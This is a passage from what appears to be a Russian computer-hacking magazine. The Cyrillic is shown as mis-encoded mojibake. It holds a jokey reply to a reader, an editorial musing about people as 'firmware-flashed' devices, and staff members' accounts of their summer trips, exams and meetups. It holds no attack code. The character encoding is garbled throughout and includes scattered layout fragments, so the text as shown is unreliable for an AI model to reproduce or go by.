ïîíÿòíî, ÿ ñ òîáîé ñîãëàñåí: ìàëü÷èøêè �äóðàêè! Âîîáùå-òî îòêðîþ òå-
áå ñòðàøíóþ òàéíó: â ìóæñêèõ êîëëåêòèâàõ äàæå êàê-òî è íå ïðèíÿòî îá-
ñóæäàòü ïîñòóëàò î òîì, ÷òî âñå æåíùèíû... ýýý... äóìàþò íå òàê ýôôåê-
òèâíî, êàê ìû :). À â îñòàëüíîì �äà. Ìû ñîãëàñíû. Íà âñå!
P.S. Ïðèâåò Õèíòó ïåðåäàþ. Ñ÷èòàþ, ÷òî Õèíò êàê ÷åñòíûé ÷åëîâåê è íàñòîÿ-
ùèé ìóæ÷èíà îáÿçàí íà òåáå æåíèòüñÿ ïîñëå òàêèõ íåæíûõ ïðèçíàíèé. Áóäåòå
æèòü-ïîæèâàòü âìåñòå, è ïðàâèòü áàãè íà ïàðó. Ñîãëàñíà ëè òû, äîðîãàÿ? [X

À
Ê

Å
Ð

0
9

 [
8

1
] 

0
5

 >
 Þ

Í
È

Ò
Û

1
5

9
]

ÃÅÍÈÀËÜÍÀß ÈÄÅß ÑÍÎÂÀ ÏÐÈØ-
ËÀ Â ÌÎÞ ÌÎÃÓ×ÓÞ ÃÎËÎÂÓ: ÂÑß
×ÅËÎÂÅ×ÅÑÊÀß ÖÈÂÈËÈÇÀÖÈß
ÏÎÃÈÁÍÅÒ ÏÎ ÏÐÈ×ÈÍÅ ÒÎÃÎ,
×ÒÎ ÌÛ ÂÑÅ ÂÎÑÏÐÎÈÇÂÎÄÈÌ
ÂÑÅ ÂÎÊÐÓÃ ÑÅÁß ÏÎÄÎÁÍÎ ÑÅÁÅ
ÆÅ, ÍÅ ÄÎÄÅËÛÂÀß ÄÀÆÅ ÝÒÎÃÎ
ÄÎ ÊÎÍÖÀ. ÄÐÓÃÈÕ ÏÐÈ×ÈÍ ÍÅ ÁÓ-
ÄÅÒ. ÌÛ ÂÑÅ � ÍÅÊÈÅ ÁÈÎÌÅÕÀ-
ÍÈ×ÅÑÊÈÅ ÓÑÒÐÎÉÑÒÂÀ, ÄÎÂÎËÜ-
ÍÎ ÊÀ×ÅÑÒÂÅÍÍÎ ÈÇÃÎÒÎÂËÅÍ-
ÍÛÅ, ÍÎ ËÈØÅÍÍÛÅ ÏÎÍÀ×ÀËÓ
ÔÈÐÌÅÍÍÛÕ ÏÐÎØÈÂÎÊ. ÆÈÇÍÜ
ÑÀÌÀ ÍÀÑ ÏÎÒÎÌ ÏÐÎØÈÂÀÅÒ,

ÂÎÒ ÒÓÒ-ÒÎ È ÍÀ×ÈÍÀÞÒÑß ×ÓÄÅ-
ÑÀ. ÎÄÍÎÃÎ ÏÐÎØÈËÈ ÇÀÁÎÒËÈ-
ÂÛÅ ÐÓÊÈ ÄÂÓÕ ÁÀÁÓØÅÊ È ÒÐÅÕ
ÒÅÒÓØÅÊ, È ÄÎ ÑÈÕ ÏÎÐ ÍÅÏÎ-
ÍßÒÍÎ «ÌÓÆÑÊÀß» Ó ÍÅÃÎ ÂÍÓÒ-
ÐÈ ÏÐÎÃÐÀÌÌÀ, ÈËÈ «ÆÅÍÑÊÀß»,
ÄÐÓÃÎÌÓ ÁÎÄÐÛÉ ÔÈÐÌÀÐÜ ÑÎ
ÌÍÎÃÈÌÈ ÍÓËßÌÈ ÇÀËÈË ÏÀÏÀ-
ÎËÈÃÀÐÕ, ÒÐÅÒÈÉ ÇÀÔËÅØÈË ÑÅ-
ÁÅ Â ÃÎËÎÂÓ ÊÐÝÊÍÓÒÓÞ ÍÀÐÊÎ-
ÂÅÐÑÈÞ ÂÎÐÎÂÀÍÍÎÉ ÏÐÎØÈÂ-
ÊÈ È ÂÎ ÖÂÅÒÅ ËÅÒ ÎÒÁÐÎÑÈË
ËÀÑÒÛ ÎÒ ÏÅÐÅÐÀÇÃÎÍÀ, ×ÅÒÂÅÐ-
ÒÛÉ ÒÀÊ È ÍÅ ÑÏÎÄÎÁÈËÑß ÏÎ-

ÇÀÁÎÒÈÒÜÑß Î ÑÅÁÅ È ÑÎÃËÀ-
ÑÈËÑß ÍÀ ÑÀÌÛÉ ÎÁÛ×ÍÛÉ
« Ñ Ð Å Ä Í Å Ñ Ò À Ò È Ñ Ò È × Å Ñ Ê È É »
ÑÎÔÒ, ÑÒÀÂ ÒÀÊ ÍÀÇÛÂÀÅÌÛÌ
ÁÅÇËÈÊÈÌ «ÝËÅÊÒÎÐÀÒÎÌ». ß
ÝÒÎ ÂÑÅ ÏÈØÓ ÑÎÂÑÅÌ ÍÅ ÄËß
ÒÎÃÎ, ×ÒÎÁÛ ÍÀÏÓÃÀÒÜ ÏÎÄÐÀÑ-
ÒÀÞÙÅÅ ÏÎÊÎËÅÍÈÅ. ÑÎÂÑÅÌ
ÍÀÎÁÎÐÎÒ, ß ÕÎ×Ó ÍÀÑ ÂÑÅÕ ÓÑ-
ÏÎÊÎÈÒÜ: ÍÅ ÁÎÉÒÅÑÜ, ÍÈÊÒÎ ÍÅ
ÁÓÄÅÒ ÍÈ×ÅÃÎ ÄÅËÀÒÜ ÄËß ÍÀÑ.
ÊÐÎÌÅ ÍÀÑ ÑÀÌÈÕ. ÊÐÎÌÅ ÂÀÑ
ÑÀÌÈÕ. ÊÐÎÌÅ ÒÅÁß... ÊÑÒÀÒÈ,
ÊÒÎ ÏÐÎØÈË ÒÅÁß? È ×ÅÌ?
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ÂÎÒ È ÍÀÑÒÓÏÈËÀ ÎÑÅÍÜ. ÏÎÐÀ ÏÎÃÐÓÆÅÍÈß ÂÑÅÃÎ ÆÈ-
ÂÎÃÎ Â ÏÎËÓÄÐÅÌ, ÏÎÐÀ ÆÅËÒÎÉ ÎÏÀÂØÅÉ ËÈÑÒÂÛ È ÍÀ-
×ÀËÀ Ó×ÅÁÍÎÃÎ ÏÐÎÖÅÑÑÀ. "ÂÎÒ ËÅÒÎ ÏÐÎËÅÒÅËÎ, ÂÑÅ
ÎÑÒÀËÎÑÜ ÏÎÇÀÄÈ" � ÒÀÊ ÏÅËÈ ÏÀÐÍÈ ÈÇ ÑÒÄÊ. ÑÎÂÅÐ-
ØÅÍÍÎ ÂÅÐÍÎ � ÂÑÅ ÎÑÒÀËÎÑÜ ÏÎÇÀÄÈ. ÍÎ ×ÒÎ ÈÌÅÍÍÎ
ÒÀÌ ÎÑÒÀËÎÑÜ? ÄÀÂÀÉ ÓÇÍÀÅÌ ÝÒÎ ÎÒ ÐÅÁßÒ ÈÇ ÍÀØÅÉ
ÊÎÌÀÍÄÛ.

Nikitozz Ëåòî áûëî çàìå÷àòåëüíîå. Â èþíå ÿ, êàê è ïîëîæåíî, ðàçáèðàëñÿ ñ èíñòèòóòñêèìè äåëàìè, ïîïóòíî

ðàññåêàÿ ïî ãîðîäó íà ðîëëàõ è èãðàÿ â áàäìèíòîí, à â êîíöå èþëÿ ìû âäâîåì ñ äåâóøêîé îòïðàâèëèñü â ðî-

ìàíòè÷åñêîå ïóòåøåñòâèå íà ìàøèíå â Êðûì, íå äîæäàâøèñü ïàäîíêîâ â ëèöå Áóáëîñà, Îëåãà è Âà-

íè. Â öåëîì ïîåçäêà óäàëàñü íà 5+, ïîòîìó ÷òî òàêîãî êîëè÷åñòâà âïå÷àòëåíèé, àäðåíàëèíà è

ìåãàïîçèòèâà ó ìåíÿ åùå íå áûëî. Ìû ñîâåðøåííî çàìå÷àòåëüíî êóøàëè ïåðñèêè, æèëè

âäâîåì ïîä òåíòèêîì â ðàéîíå Àëóøòû, çàòåì ñìîòðåëè íà ïîëîñàòûõ ðûáîê ïîä âî-

äîé è êîðìèëè âèøíåé êðàáîâ ïîä Íîâûì Ñâåòîì, à â êîíöå ïóòåøåñòâèÿ ìû

çàåõàëè ïîæàòü Ãîðëóìó ðóêó ïîä Ôåîäîñèþ, ïîèñêàëè â ïåñêàõ ìåñòíûõ

ïëÿæåé êëþ÷è îò ìàøèíû, à çàòåì íà òðè äåíüêà çàåõàëè â ñëàâíûé

ãîðîä Õàðüêîâ. Òàì ìû ïîîáùàëèñü ñ áîëüøèì êîëè÷åñòâîì

êëàññíûõ ëþäåé, èçó÷èëè ãîðîä êàê ñâîè ïÿòü ïàëüöåâ, êàòà-

ëèñü íà ñìåøíîì ìåòðî, ðàññåêàëè ïî óëèöå Ñóìñêîé íà ðî-

ëèêàõ è çàìå÷àòåëüíî ïðîâîäèëè âðåìÿ. Ëåòî óäàëîñü

:).b00b1ik Ýòèì ëåòîì âïåðâûå çà ïîñëåäíèå ÷åòûðå ãîäà ÿ

ñìîã íîðìàëüíî îòäîõíóòü. Ñíà÷àëà çàåõàë ê äðóçüÿì â

ñëàâíûé ãîðîä-ãåðîé ýêñ-Ëåíèíãðàä, ïîòîì ñ Êóòòåðîì è

åùå îäíèì îäíîãðóïïíèêîì ñìîòàëèñü íà ìàøèíå â Íèæíèé

Íîâãîðîä, ãäå íàóòðî ó ìåíÿ ÷óòü íå îòîáðàëè ïðàâà çà íåáîëüøîå êî-

ëè÷åñòâî ïðîìèëëå â êðîâè. À ïîñëå ÿ ñî ñâîèìè äðóçüÿìè, Êóòòåðîì è

ÍÑÄ, ïîåõàëè íà ìàøèíå â Êðûì. ß ïåðâûé ðàç â æèçíè óâèäåë ìîðå, ïîòóñî-

âàë íà Êàçàíòèïå, óâèäåë áîëüøîå êîëè÷åñòâî êðàñèâûõ äåâóøåê îäíîâðåìåííî â îä-

íîì ìåñòå. Íà Êàçàíòèïå, êñòàòè, ìåíÿ ñîâåðøåííî ñëó÷àéíî óçíàë â ëèöî îäèí íàø ÷èòà-

òåëü èç Êðèâîãî Ðîãà. Õîðîøèé îêàçàëñÿ ïàðåíü, ìíîãî âðåìåíè ïðîòóñîâàëèñü âìåñòå. Â

èòîãå, âñå çàáîëåâøèå-ïðîñòûâøèå, íî æóòêî äîâîëüíûå, ìû âåðíóëèñü äîìîé. Ñåé÷àñ ÿ ïè-

øó ýòîò òåêñò, à ó ìåíÿ òåìïåðàòóðà 39, íî âñå ðàâíî ÿ ðàä ïðîøåäøåìó ëåòó è íè÷óòü íå ñî-

æàëåþ î òîì, êàê åãî ïðîâåë. Forb Ëåòî ó ìåíÿ, êàê è ó áîëüøèíñòâà ñòóäåíòîâ, íà÷àëîñü ñ

ñåññèè. À òî÷íåå, ñ ïîäãîòîâêè ê ýêçàìåíàì. Ãîòîâèëñÿ ÿ äîëãî è óñåðäíî, ïîýòîìó ñäàë âñå íà

«îòëè÷íî» (íó íå óìåþ ÿ ñïèñûâàòü, à æåëàíèå ó÷èòüñÿ ïîêà åñòü :)). Ïîñëå ñäà÷è îñíîâíûõ

ïðåäìåòîâ, ìíå ïðåäëîæèëè ïðèíÿòü ó÷àñòèå â êîíêóðñå íà ñòèïåíäèþ Á.Í. Åëüöèíà. ß ñîãëà-

ñèëñÿ, íî äëÿ ýòîãî ïðèøëîñü ïåðåñäàâàòü åùå 8 ïðåäìåòîâ íà ïîâûøåííóþ îöåíêó (âñÿêèå áà-

çîâûå äèñöèïëèíû 1�2 êóðñà). ß óñïåøíî ñ ýòèì ñïðàâèëñÿ è, òàêèì îáðàçîì, ëîãè÷åñêè çàâåð-

øèë ïîëîâèíó ëåòà. Çàòåì ìíå ïðåäñòîÿëî âûäåðæàòü åùå îäèí æèçíåííûé ýòàï � ñáîðû íà âî-

åííîé êàôåäðå. Öåëûé ìåñÿö ÿ ìàðøèðîâàë ïî ïëàöó, åë àðìåéñêóþ ïåðëîâêó, äûøàë ýêîëîãè÷åñ-

êè ÷èñòûì ïîëåâûì âîçäóõîì è äàæå ñäàâàë ãîñýêçàìåíû. Ïî ïðèåçäó ó ìåíÿ îñòàâàëîñü âñåãî 3

íåäåëè äëÿ îòäûõà. Íàñòîÿùåãî, ïîëíîöåííîãî îòäûõà. Íî ñòîèëî ìíå ðàññëàáèòüñÿ, êàê ìåíÿ íà÷àë

ïèíàòü Íèêèòîç çà íåñäàííûå ìàòåðèàëû. È òîëüêî ðàññ÷èòàâøèñü ñ íèì, ÿ íàêîíåö-òî ïîëó÷èë ïðà-

âî íà îòäûõ. Ïðàâäà, ïîãîäà íåìíîãî ïîäâåëà è ïîñëåäíèå òðè íåäåëè ëåòà ìíå ïðèøëîñü ïðîâåñòè äî-

ìà â êîìïàíèè õîðîøèõ äðóçåé è âêóñíîãî ïèâà :). Dr.Klouniz Ýòî áûëî íàñûùåííîå ëåòî. Äëÿ íà÷àëà,

ÿ çàðàáîòàë íåìíîãî ãåìîððîÿ íà ó÷åáå, ïîñêîëüêó ñäàâàë ãîñýêçàìåíû è ïîëó÷àë äèïëîì, ïîäâåäÿ, òà-

êèì îáðàçîì, èòîã øåñòè ãîäàì îáó÷åíèÿ íà ìåäôàêå ÐÓÄÍ :). À äàëüøå � îòäûõ. Íà ýòîò ðàç ìû ñ ïîä-

ðóãîé ðåøèëè äâèíóòü äèêàðÿìè â Àäëåð (Ñî÷èíñêèé ðàéîí), êóïèëè òóäà áèëåòû íà ïîåçä è � òó-òó Ìèõà-

èë Ñâåòëîôô. Ïîåçä ïðîåçæàë ÷åðåç Òàãàíðîã, â êîòîðîì è ñîñòîÿëàñü Õ-âñòðå÷à íîìåð îäèí ñ Àëåêñîì Öå-

ëûõ ðåäàêòîðîì Èìïëàíòà. Ñòîÿëè ìû òàì âñåãî 10 ìèíóò, ïîýòîìó ìû óñïåëè òîëüêî ïåðåêèíóòüñÿ ïàðîé

ñëîâ, à ÿ óñïåë ïîëó÷èòü èç åãî ðóê íåêîòîðîå êîëè÷åñòâî ïðîäóêòîâîãî ñòàôôà äëÿ äàëüíåéøåé ïîåçäêè :).

Ñëåäóþùàÿ Õ-âñòðå÷à æäàëà ìåíÿ â Àäëåðå. Äåëî â òîì, ÷òî Ìèõàèë Ôëåíîâ aka Horrific â ýòîò ìîìåíò îòäû-

õàë ñ ñåìüåé â Ãåëåíæèêå, ýòî îòíîñèòåëüíî íåäàëåêî, è ïîñêîëüêó ìû ñ íèì íå âèäåëèñü óæå íåñêîëüêî ëåò,

áûëî ðåøåíî, ÷òî îí ïðèåäåò âñòðåòèòüñÿ (íà ìàøèíå). Ýòî áûë íàñòîÿùèé ãåðîèçì, çà ÷òî åìó áîëüøîé ðåñ-

ïåêò :), ïîñêîëüêó äîðîãà îêàçàëàñü à) íå òàêîé óæ êîðîòêîé á) ñåðïàíòèíîì è â) Ìèõàèëó ñ ñåìüåé è äåòüìè

ïðèøëîñü ïèëèòü ïî íåé ïÿòü ÷àñîâ, à ïðèåõàëè îíè òîëüêî ê ïîëóíî÷è. Íî÷üþ ìû âûïèëè âèíöà, óòðîì èñêó-

ïàëèñü, è îíè äâèíóëèñü â îáðàòíóþ äîðîãó. Â îáùåì, îòäûõ óäàëñÿ, ïðèåõàë äîìîé ÿ â 5 óòðà è ñðàçó ðèíóë-

ñÿ â Õ-ðàáîòó, ïîñêîëüêó, êàê îêàçàëîñü, âåñüìà ïî íåé ñîñêó÷èëñÿ :). 
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